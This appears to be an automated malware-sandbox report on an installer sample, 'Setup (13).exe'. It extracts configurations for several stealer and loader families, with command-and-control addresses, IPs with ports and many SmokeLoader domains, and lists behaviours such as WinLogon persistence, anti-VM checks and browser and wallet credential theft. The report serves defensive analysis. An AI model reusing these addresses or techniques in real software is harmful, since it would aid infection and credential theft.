Overview
overview
10Static
static
Setup (1).exe
windows7_x64
10Setup (1).exe
windows10_x64
10Setup (10).exe
windows7_x64
10Setup (10).exe
windows10_x64
10Setup (11).exe
windows7_x64
10Setup (11).exe
windows10_x64
10Setup (12).exe
windows7_x64
10Setup (12).exe
windows10_x64
10Setup (13).exe
windows7_x64
10Setup (13).exe
windows10_x64
10Setup (14).exe
windows7_x64
10Setup (14).exe
windows10_x64
10Setup (15).exe
windows7_x64
10Setup (15).exe
windows10_x64
10Setup (16).exe
windows7_x64
10Setup (16).exe
windows10_x64
10Setup (17).exe
windows7_x64
10Setup (17).exe
windows10_x64
10Setup (18).exe
windows7_x64
10Setup (18).exe
windows10_x64
10Setup (19).exe
windows7_x64
10Setup (19).exe
windows10_x64
10Setup (2).exe
windows7_x64
10Setup (2).exe
windows10_x64
10Setup (20).exe
windows7_x64
10Setup (20).exe
windows10_x64
10Setup (21).exe
windows7_x64
10Setup (21).exe
windows10_x64
10Setup (22).exe
windows7_x64
10Setup (22).exe
windows10_x64
10Setup (23).exe
windows7_x64
10Setup (23).exe
windows10_x64
10Resubmissions
11-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 1029-08-2021 11:37
210829-18htk4slyj 1028-08-2021 23:10
210828-rt8b9gzxn6 1028-08-2021 22:59
210828-zxgnh5j4w6 1028-08-2021 11:31
210828-xrjs66aknj 10Analysis
-
max time kernel
1666s -
max time network
1821s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
23-08-2021 15:20
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
Setup (1).exe
Resource
win10v20210408
Behavioral task
behavioral3
Sample
Setup (10).exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
Setup (10).exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
Setup (11).exe
Resource
win7v20210408
Behavioral task
behavioral6
Sample
Setup (11).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
Setup (12).exe
Resource
win7v20210408
Behavioral task
behavioral8
Sample
Setup (12).exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
Setup (13).exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
Setup (13).exe
Resource
win10v20210408
Behavioral task
behavioral11
Sample
Setup (14).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
Setup (14).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
Setup (15).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
Setup (15).exe
Resource
win10v20210408
Behavioral task
behavioral15
Sample
Setup (16).exe
Resource
win7v20210410
Behavioral task
behavioral16
Sample
Setup (16).exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
Setup (17).exe
Resource
win7v20210408
Behavioral task
behavioral18
Sample
Setup (17).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
Setup (18).exe
Resource
win7v20210408
Behavioral task
behavioral20
Sample
Setup (18).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
Setup (19).exe
Resource
win7v20210408
Behavioral task
behavioral22
Sample
Setup (19).exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
Setup (2).exe
Resource
win7v20210410
Behavioral task
behavioral24
Sample
Setup (2).exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
Setup (20).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
Setup (20).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
Setup (21).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
Setup (21).exe
Resource
win10v20210408
Behavioral task
behavioral29
Sample
Setup (22).exe
Resource
win7v20210410
Behavioral task
behavioral30
Sample
Setup (22).exe
Resource
win10v20210410
Behavioral task
behavioral31
Sample
Setup (23).exe
Resource
win7v20210408
General
-
Target
Setup (13).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
vidar
40.1
973
https://eduarroma.tumblr.com/
-
profile_id
973
Extracted
redline
1
37.0.8.88:44263
Extracted
redline
23.08
95.181.172.100:55640
Extracted
vidar
40.1
937
https://eduarroma.tumblr.com/
-
profile_id
937
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
http://aucmoney.com/upload/
http://thegymmum.com/upload/
http://atvcampingtrips.com/upload/
http://kuapakualaman.com/upload/
http://renatazarazua.com/upload/
http://nasufmutlu.com/upload/
Extracted
vidar
40.1
995
https://eduarroma.tumblr.com/
-
profile_id
995
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba Payload 2 IoCs
Processes:
resource yara_rule behavioral10/memory/5044-384-0x0000000004920000-0x0000000005246000-memory.dmp family_glupteba behavioral10/memory/5044-386-0x0000000000400000-0x00000000027DB000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Modifies WinLogon for persistence 2 TTPs 5 IoCs
Processes:
Esplorarne.exe.comdescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\SysWOW64\\Dism\\en-US\\SppExtComObj.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\SysWOW64\\Dism\\en-US\\SppExtComObj.exe\", \"C:\\Users\\Admin\\Documents\\desktop\\wSkUQdg9eXwLMP3Xe8hyuuQX.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\SysWOW64\\Dism\\en-US\\SppExtComObj.exe\", \"C:\\Users\\Admin\\Documents\\desktop\\wSkUQdg9eXwLMP3Xe8hyuuQX.exe\", \"C:\\Program Files\\MSBuild\\csrss.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\SysWOW64\\Dism\\en-US\\SppExtComObj.exe\", \"C:\\Users\\Admin\\Documents\\desktop\\wSkUQdg9eXwLMP3Xe8hyuuQX.exe\", \"C:\\Program Files\\MSBuild\\csrss.exe\", \"C:\\odt\\dllhost.exe\"" Esplorarne.exe.com Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\SysWOW64\\Dism\\en-US\\SppExtComObj.exe\", \"C:\\Users\\Admin\\Documents\\desktop\\wSkUQdg9eXwLMP3Xe8hyuuQX.exe\", \"C:\\Program Files\\MSBuild\\csrss.exe\", \"C:\\odt\\dllhost.exe\", \"C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppxSignature\\conhost.exe\"" Esplorarne.exe.com -
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 7 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6744 6108 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6932 6108 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4664 6108 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 8528 6108 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2076 6108 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 10100 6108 schtasks.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 9876 6108 schtasks.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 17 IoCs
Processes:
resource yara_rule C:\Users\Admin\Documents\KSraykjBAgFKMYGPvuzrDWuH.exe family_redline C:\Users\Admin\Documents\vknD0ATLjHw2BkxuALAGvqX5.exe family_redline C:\Users\Admin\Documents\ppDDSZjoP6QBdKGzcUisKQc0.exe family_redline C:\Users\Admin\Documents\lTdARvNzLhrSRWDDbUC_YlI_.exe family_redline C:\Users\Admin\Documents\lTdARvNzLhrSRWDDbUC_YlI_.exe family_redline C:\Users\Admin\Documents\vknD0ATLjHw2BkxuALAGvqX5.exe family_redline C:\Users\Admin\Documents\ppDDSZjoP6QBdKGzcUisKQc0.exe family_redline C:\Users\Admin\Documents\KSraykjBAgFKMYGPvuzrDWuH.exe family_redline C:\Users\Admin\Documents\UaknCH3EJQTdkYUqia4rM3G3.exe family_redline C:\Users\Admin\Documents\UaknCH3EJQTdkYUqia4rM3G3.exe family_redline behavioral10/memory/4820-291-0x000000000041A772-mapping.dmp family_redline behavioral10/memory/4856-296-0x000000000041A5EA-mapping.dmp family_redline behavioral10/memory/4856-290-0x0000000000400000-0x0000000000448000-memory.dmp family_redline behavioral10/memory/4820-287-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral10/memory/4820-339-0x00000000056A0000-0x0000000005B9E000-memory.dmp family_redline behavioral10/memory/4204-333-0x000000000041A616-mapping.dmp family_redline behavioral10/memory/5148-434-0x000000000041A616-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 1444 created 3896 1444 WerFault.exe Setup.tmp PID 6860 created 4724 6860 WerFault.exe customer3.exe PID 5448 created 7384 5448 WerFault.exe fPIvBZD6Eb4QiQ879jMxxuD5.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
svchost.exedescription pid process target process PID 1840 created 5044 1840 svchost.exe cg0CX70OJ4Nu6QLl7l5BeyN5.exe PID 1840 created 7988 1840 svchost.exe 32BTXeeFoygI8bxPrAuqvca2.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 6 IoCs
Processes:
resource yara_rule C:\Users\Admin\Documents\aRyMzRcSheB9cpIH1opURDLk.exe family_vidar C:\Users\Admin\Documents\aRyMzRcSheB9cpIH1opURDLk.exe family_vidar behavioral10/memory/2168-331-0x0000000002560000-0x00000000026AA000-memory.dmp family_vidar behavioral10/memory/2168-345-0x0000000000400000-0x0000000002402000-memory.dmp family_vidar behavioral10/memory/4576-376-0x0000000004030000-0x00000000040CD000-memory.dmp family_vidar behavioral10/memory/4576-383-0x0000000000400000-0x00000000023FF000-memory.dmp family_vidar -
Blocklisted process makes network request 64 IoCs
Processes:
RUNDLL32.EXEcmd.exeflow pid process 485 8988 RUNDLL32.EXE 488 8988 RUNDLL32.EXE 489 8988 RUNDLL32.EXE 491 8988 RUNDLL32.EXE 492 8988 RUNDLL32.EXE 493 8988 RUNDLL32.EXE 495 8988 RUNDLL32.EXE 496 8988 RUNDLL32.EXE 497 8988 RUNDLL32.EXE 499 8988 RUNDLL32.EXE 500 8988 RUNDLL32.EXE 501 8988 RUNDLL32.EXE 502 8988 RUNDLL32.EXE 504 8988 RUNDLL32.EXE 505 8988 RUNDLL32.EXE 506 8988 RUNDLL32.EXE 510 8988 RUNDLL32.EXE 512 8988 RUNDLL32.EXE 513 8988 RUNDLL32.EXE 514 8988 RUNDLL32.EXE 515 8988 RUNDLL32.EXE 516 8988 RUNDLL32.EXE 517 8988 RUNDLL32.EXE 518 8988 RUNDLL32.EXE 519 8988 RUNDLL32.EXE 520 8988 RUNDLL32.EXE 521 8988 RUNDLL32.EXE 522 8988 RUNDLL32.EXE 523 8988 RUNDLL32.EXE 525 8988 RUNDLL32.EXE 526 8988 RUNDLL32.EXE 527 8988 RUNDLL32.EXE 528 8988 RUNDLL32.EXE 529 8988 RUNDLL32.EXE 534 8988 RUNDLL32.EXE 535 8988 RUNDLL32.EXE 536 8988 RUNDLL32.EXE 538 8988 RUNDLL32.EXE 541 8988 RUNDLL32.EXE 543 8988 RUNDLL32.EXE 545 8988 RUNDLL32.EXE 546 8988 RUNDLL32.EXE 549 8988 RUNDLL32.EXE 552 8988 RUNDLL32.EXE 553 8988 RUNDLL32.EXE 554 8988 RUNDLL32.EXE 555 8988 RUNDLL32.EXE 556 8988 RUNDLL32.EXE 558 8988 RUNDLL32.EXE 559 8988 RUNDLL32.EXE 562 8988 RUNDLL32.EXE 586 8988 RUNDLL32.EXE 589 8988 RUNDLL32.EXE 590 8988 RUNDLL32.EXE 592 8988 RUNDLL32.EXE 602 8988 RUNDLL32.EXE 604 8988 RUNDLL32.EXE 608 8988 RUNDLL32.EXE 610 8988 RUNDLL32.EXE 612 2108 cmd.exe 614 2108 cmd.exe 615 2108 cmd.exe 616 2108 cmd.exe 504 8988 RUNDLL32.EXE -
Downloads MZ/PE file
-
Drops file in Drivers directory 3 IoCs
Processes:
DrvInst.exedescription ioc process File opened for modification C:\Windows\System32\drivers\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\drivers\SET9728.tmp DrvInst.exe File created C:\Windows\System32\drivers\SET9728.tmp DrvInst.exe -
Executes dropped EXE 64 IoCs
Processes:
Sy8Smn3WlNY0g0FMgl9ox33q.exe6aeNHrZ4FLprUXrImovwPiDB.exekU7E9j21REUeB3zXnaaIg2iF.exeP2vqneoMmPuKSSuMKvJadR9G.exe0SDRNlaKVLytRdopwwPIYaS2.exeImQEbdeCAQ20rGBrZVrQsHp0.exeaRyMzRcSheB9cpIH1opURDLk.exeKSraykjBAgFKMYGPvuzrDWuH.exeMkUJBpTtAfGlkX4du8wRlRNU.exeB0m3nJcdf1PM9fYVcg6oA4FX.exevknD0ATLjHw2BkxuALAGvqX5.exeFdTwZzySl8xLCEhH6g0wue1K.exeRrOS_NpsYb1qjEyd619lZYW1.exeppDDSZjoP6QBdKGzcUisKQc0.exelTdARvNzLhrSRWDDbUC_YlI_.exe4UWr7dZWYWh4OdV_Ck_V_Xva.exeDQ9LVdVeGrXrZKnsuIxISMgN.exeDQ9LVdVeGrXrZKnsuIxISMgN.tmpaQgwpgKDeY1YfvVzQirC9bsE.exekkWtNVg3HEIGb3VZ5t9poqQM.exej2uH5vyDbsSWOyQBPBiQdWB9.exerF84DcC0XlKB7oU0QNRmpAm4.exetXeyMBYzZkXAvBObko0hyUE0.exeUaknCH3EJQTdkYUqia4rM3G3.exeConhost.exesrx17UjXQeKHoITCe6QYeDRQ.exez7zPaDgBJ7lwrmR9SJVKMc89.exeP8obkqIKLX5nW5yam1WFJZus.execg0CX70OJ4Nu6QLl7l5BeyN5.exeFdTwZzySl8xLCEhH6g0wue1K.exeMkUJBpTtAfGlkX4du8wRlRNU.exeRrOS_NpsYb1qjEyd619lZYW1.exeSy8Smn3WlNY0g0FMgl9ox33q.exejooyu.exeFdTwZzySl8xLCEhH6g0wue1K.exemd8_8eus.execustomer3.exez7zPaDgBJ7lwrmR9SJVKMc89.exejfiag3g_gg.exeaQgwpgKDeY1YfvVzQirC9bsE.exeP8obkqIKLX5nW5yam1WFJZus.exe6284614.exe6485551.exe2891053.exe2333190.exehBS_VbW.EXE11111.exeSetup.exeEsplorarne.exe.comWinHoster.exeWEATHER Manager.tmpStats.exerunvd.exeInlog.exeCleaner Installation.exeWEATHER Manager.exeVPN.exeMediaBurner2.exeStats.tmpInlog.tmpPBrowFile15.exezhaoy-game.exeLivelyScreenRecS1.9.exepid process 1528 Sy8Smn3WlNY0g0FMgl9ox33q.exe 2168 6aeNHrZ4FLprUXrImovwPiDB.exe 872 kU7E9j21REUeB3zXnaaIg2iF.exe 3896 P2vqneoMmPuKSSuMKvJadR9G.exe 2452 0SDRNlaKVLytRdopwwPIYaS2.exe 2468 ImQEbdeCAQ20rGBrZVrQsHp0.exe 1512 aRyMzRcSheB9cpIH1opURDLk.exe 3028 KSraykjBAgFKMYGPvuzrDWuH.exe 2824 MkUJBpTtAfGlkX4du8wRlRNU.exe 2588 B0m3nJcdf1PM9fYVcg6oA4FX.exe 2820 vknD0ATLjHw2BkxuALAGvqX5.exe 1060 FdTwZzySl8xLCEhH6g0wue1K.exe 1064 RrOS_NpsYb1qjEyd619lZYW1.exe 3260 ppDDSZjoP6QBdKGzcUisKQc0.exe 2072 lTdARvNzLhrSRWDDbUC_YlI_.exe 3872 4UWr7dZWYWh4OdV_Ck_V_Xva.exe 4116 DQ9LVdVeGrXrZKnsuIxISMgN.exe 4216 DQ9LVdVeGrXrZKnsuIxISMgN.tmp 4264 aQgwpgKDeY1YfvVzQirC9bsE.exe 4316 kkWtNVg3HEIGb3VZ5t9poqQM.exe 4376 j2uH5vyDbsSWOyQBPBiQdWB9.exe 4364 rF84DcC0XlKB7oU0QNRmpAm4.exe 4408 tXeyMBYzZkXAvBObko0hyUE0.exe 4536 UaknCH3EJQTdkYUqia4rM3G3.exe 4576 Conhost.exe 4616 srx17UjXQeKHoITCe6QYeDRQ.exe 4664 z7zPaDgBJ7lwrmR9SJVKMc89.exe 4744 P8obkqIKLX5nW5yam1WFJZus.exe 5044 cg0CX70OJ4Nu6QLl7l5BeyN5.exe 4848 FdTwZzySl8xLCEhH6g0wue1K.exe 4820 MkUJBpTtAfGlkX4du8wRlRNU.exe 4856 RrOS_NpsYb1qjEyd619lZYW1.exe 4224 Sy8Smn3WlNY0g0FMgl9ox33q.exe 4496 jooyu.exe 4204 FdTwZzySl8xLCEhH6g0wue1K.exe 4672 md8_8eus.exe 4724 customer3.exe 4076 z7zPaDgBJ7lwrmR9SJVKMc89.exe 2032 jfiag3g_gg.exe 2464 aQgwpgKDeY1YfvVzQirC9bsE.exe 5148 P8obkqIKLX5nW5yam1WFJZus.exe 5488 6284614.exe 5536 6485551.exe 5588 2891053.exe 5676 2333190.exe 5940 hBS_VbW.EXE 5956 11111.exe 4160 Setup.exe 4924 Esplorarne.exe.com 5872 WinHoster.exe 5996 WEATHER Manager.tmp 6044 Stats.exe 6056 runvd.exe 4332 Inlog.exe 2188 Cleaner Installation.exe 5208 WEATHER Manager.exe 4504 VPN.exe 4924 Esplorarne.exe.com 5408 MediaBurner2.exe 5524 Stats.tmp 5012 Inlog.tmp 5624 PBrowFile15.exe 5688 zhaoy-game.exe 1852 LivelyScreenRecS1.9.exe -
Checks BIOS information in registry 2 TTPs 26 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
72C0.exeKSraykjBAgFKMYGPvuzrDWuH.exeppDDSZjoP6QBdKGzcUisKQc0.exewSkUQdg9eXwLMP3Xe8hyuuQX.exenwTBneNKhXDMCe0UD6GjUplv.exeEpq2abwVlYZJhzJrHmw_wpCB.exe49E9.exeBmZUXXXkmxDliwoqSKDVSzo7.exe9A1DySClcuBMKHIonBIvGxQN.exelTdARvNzLhrSRWDDbUC_YlI_.exevknD0ATLjHw2BkxuALAGvqX5.exeUaknCH3EJQTdkYUqia4rM3G3.exe6E6A.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 72C0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion KSraykjBAgFKMYGPvuzrDWuH.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion ppDDSZjoP6QBdKGzcUisKQc0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion wSkUQdg9eXwLMP3Xe8hyuuQX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion nwTBneNKhXDMCe0UD6GjUplv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Epq2abwVlYZJhzJrHmw_wpCB.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 49E9.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion BmZUXXXkmxDliwoqSKDVSzo7.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 9A1DySClcuBMKHIonBIvGxQN.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 72C0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wSkUQdg9eXwLMP3Xe8hyuuQX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion nwTBneNKhXDMCe0UD6GjUplv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion lTdARvNzLhrSRWDDbUC_YlI_.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion KSraykjBAgFKMYGPvuzrDWuH.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion ppDDSZjoP6QBdKGzcUisKQc0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion vknD0ATLjHw2BkxuALAGvqX5.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion UaknCH3EJQTdkYUqia4rM3G3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion BmZUXXXkmxDliwoqSKDVSzo7.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 9A1DySClcuBMKHIonBIvGxQN.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 6E6A.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion lTdARvNzLhrSRWDDbUC_YlI_.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion vknD0ATLjHw2BkxuALAGvqX5.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion UaknCH3EJQTdkYUqia4rM3G3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Epq2abwVlYZJhzJrHmw_wpCB.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 49E9.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 6E6A.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exeSetup (13).exextect12.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation Setup (13).exe Key value queried \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation xtect12.exe -
Drops startup file 1 IoCs
Processes:
Esplorarne.exe.comdescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iZpAWbaURv.url Esplorarne.exe.com -
Loads dropped DLL 64 IoCs
Processes:
DQ9LVdVeGrXrZKnsuIxISMgN.tmpaRyMzRcSheB9cpIH1opURDLk.exetaskkill.exeConhost.exez7zPaDgBJ7lwrmR9SJVKMc89.exeCleaner Installation.exeInlog.tmpStats.tmpVPN.tmpWEATHER Manager.tmpMediaBurner2.tmprundll32.exerunvd.exerundll32.exeSetup.exeEsplorarne.exe.comB7nNmtmreoVMe9QXRo7FWqIW.tmpSetup.tmpSetup.tmprundll32.exewl8P1UQMhT0NeM8ACBfqml7w.exeeHz_jO_hZ5wZjU5rSvHZNbvE.exexhFn_YEQDbvjk6HybAkOYpnw.exeEsplorarne.exe.comRUNDLL32.EXErundll32.exeMsiExec.exeGameBoxWin64.exeMsiExec.exeRUNDLL32.EXEMsiExec.exeMsiExec.exepid process 4216 DQ9LVdVeGrXrZKnsuIxISMgN.tmp 4216 DQ9LVdVeGrXrZKnsuIxISMgN.tmp 1512 aRyMzRcSheB9cpIH1opURDLk.exe 1512 aRyMzRcSheB9cpIH1opURDLk.exe 2168 taskkill.exe 2168 taskkill.exe 4576 Conhost.exe 4576 Conhost.exe 4076 z7zPaDgBJ7lwrmR9SJVKMc89.exe 2188 Cleaner Installation.exe 5012 Inlog.tmp 5012 Inlog.tmp 5524 Stats.tmp 5524 Stats.tmp 1280 VPN.tmp 1280 VPN.tmp 5996 WEATHER Manager.tmp 5996 WEATHER Manager.tmp 4076 z7zPaDgBJ7lwrmR9SJVKMc89.exe 4076 z7zPaDgBJ7lwrmR9SJVKMc89.exe 5964 MediaBurner2.tmp 6764 rundll32.exe 6056 runvd.exe 6056 runvd.exe 196 rundll32.exe 196 rundll32.exe 6552 Setup.exe 7136 Esplorarne.exe.com 4004 B7nNmtmreoVMe9QXRo7FWqIW.tmp 4004 B7nNmtmreoVMe9QXRo7FWqIW.tmp 6472 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 6236 rundll32.exe 7272 wl8P1UQMhT0NeM8ACBfqml7w.exe 7272 wl8P1UQMhT0NeM8ACBfqml7w.exe 7272 wl8P1UQMhT0NeM8ACBfqml7w.exe 7672 eHz_jO_hZ5wZjU5rSvHZNbvE.exe 7672 eHz_jO_hZ5wZjU5rSvHZNbvE.exe 7648 xhFn_YEQDbvjk6HybAkOYpnw.exe 7648 xhFn_YEQDbvjk6HybAkOYpnw.exe 7688 Esplorarne.exe.com 7688 Esplorarne.exe.com 8988 RUNDLL32.EXE 7908 rundll32.exe 4656 MsiExec.exe 4656 MsiExec.exe 5116 GameBoxWin64.exe 5116 GameBoxWin64.exe 4656 MsiExec.exe 5404 MsiExec.exe 5404 MsiExec.exe 5116 GameBoxWin64.exe 4260 RUNDLL32.EXE 6368 MsiExec.exe 6368 MsiExec.exe 8124 MsiExec.exe 8124 MsiExec.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Documents\KSraykjBAgFKMYGPvuzrDWuH.exe themida C:\Users\Admin\Documents\vknD0ATLjHw2BkxuALAGvqX5.exe themida C:\Users\Admin\Documents\ppDDSZjoP6QBdKGzcUisKQc0.exe themida C:\Users\Admin\Documents\lTdARvNzLhrSRWDDbUC_YlI_.exe themida C:\Users\Admin\Documents\lTdARvNzLhrSRWDDbUC_YlI_.exe themida C:\Users\Admin\Documents\vknD0ATLjHw2BkxuALAGvqX5.exe themida C:\Users\Admin\Documents\ppDDSZjoP6QBdKGzcUisKQc0.exe themida C:\Users\Admin\Documents\KSraykjBAgFKMYGPvuzrDWuH.exe themida behavioral10/memory/2072-209-0x0000000001320000-0x0000000001321000-memory.dmp themida C:\Users\Admin\Documents\UaknCH3EJQTdkYUqia4rM3G3.exe themida behavioral10/memory/3260-211-0x0000000001030000-0x0000000001031000-memory.dmp themida behavioral10/memory/3028-210-0x0000000001090000-0x0000000001091000-memory.dmp themida behavioral10/memory/2820-254-0x0000000000290000-0x0000000000291000-memory.dmp themida C:\Users\Admin\Documents\UaknCH3EJQTdkYUqia4rM3G3.exe themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 13 IoCs
Processes:
